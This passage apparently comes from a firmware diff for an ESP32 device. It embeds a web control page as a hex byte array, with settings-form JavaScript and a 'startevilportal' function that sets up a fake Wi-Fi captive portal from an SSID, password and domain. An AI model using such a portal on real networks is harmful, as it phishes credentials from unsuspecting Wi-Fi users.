0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x3A, 0x20, 0x64, 0x6F, + 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, + 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, + 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, + 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x3A, + 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, + 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, + 0x73, 0x69, 0x7A, 0x65, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, + 0x74, 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, + 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, + 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2F, 0x2F, 0x20, 0x46, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x20, 0x47, 0x68, + 0x6F, 0x73, 0x74, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, + 0x5F, 0x67, 0x68, 0x6F, 0x73, 0x74, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x3A, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, + 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x28, 0x27, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, + 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x78, + 0x5F, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, + 0x49, 0x64, 0x28, 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x68, 0x65, 0x78, 0x27, 0x29, 0x2E, 0x74, + 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2C, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, + 0x65, 0x5F, 0x73, 0x74, 0x72, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x74, 0x69, 0x6D, 0x65, + 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x27, + 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, + 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, + 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, + 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, 0x27, 0x29, + 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, + 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, + 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, + 0x79, 0x49, 0x64, 0x28, 0x27, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, + 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x27, 0x29, 0x2E, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x3B, 0x20, 0x20, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x76, 0x61, + 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x45, 0x72, 0x72, 0x6F, + 0x72, 0x73, 0x20, 0x3D, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, + 0x20, 0x28, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x45, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, + 0x68, 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, 0x6C, 0x65, + 0x61, 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, + 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, + 0x67, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, 0x27, + 0x20, 0x2B, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, + 0x6E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, 0x69, 0x6E, + 0x28, 0x27, 0x5C, 0x6E, 0x27, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x27, 0x2F, + 0x61, 0x70, 0x69, 0x2F, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, + 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, 0x54, 0x27, + 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x27, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, + 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, 0x27, 0x61, 0x70, + 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, + 0x6F, 0x6E, 0x27, 0x7D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, + 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, + 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, + 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, + 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x73, 0x61, 0x76, 0x65, + 0x64, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, + 0x6C, 0x79, 0x21, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, + 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x61, 0x76, 0x69, 0x6E, + 0x67, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x27, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, + 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, + 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, + 0x72, 0x6F, 0x72, 0x20, 0x73, 0x61, 0x76, 0x69, 0x6E, 0x67, 0x20, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3A, 0x27, 0x2C, 0x20, 0x65, + 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x65, 0x6E, + 0x64, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x6F, + 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x53, 0x50, 0x33, 0x32, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x76, + 0x69, 0x6C, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x28, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x55, 0x52, 0x4C, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, + 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, + 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x27, 0x29, 0x2E, 0x76, 0x61, + 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x50, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x20, 0x64, + 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, + 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, + 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, + 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x27, + 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, + 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, + 0x49, 0x44, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, + 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, + 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, + 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x50, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, + 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, + 0x6D, 0x61, 0x69, 0x6E, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x56, 0x61, 0x6C, 0x69, + 0x64, 0x61, 0x74, 0x65, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x73, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x73, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, + 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x55, 0x52, 0x4C, 0x20, 0x3D, + 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, + 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x55, 0x52, 0x4C, 0x20, 0x6F, 0x72, + 0x20, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x50, 0x61, 0x74, 0x68, 0x2E, 0x27, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, + 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, + 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, + 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x20, 0x53, 0x53, 0x49, 0x44, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, + 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, + 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, + 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2E, 0x27, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x3D, 0x3D, + 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, + 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, + 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x20, 0x41, 0x50, 0x20, 0x53, 0x53, 0x49, 0x44, 0x2E, + 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x3D, 0x3D, + 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, + 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, + 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x20, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x2E, + 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x65, + 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, + 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, + 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, + 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, 0x27, 0x20, + 0x2B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, 0x69, + 0x6E, 0x28, 0x27, 0x5C, 0x6E, 0x27, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x57, 0x72, 0x61, 0x70, + 0x20, 0x70, 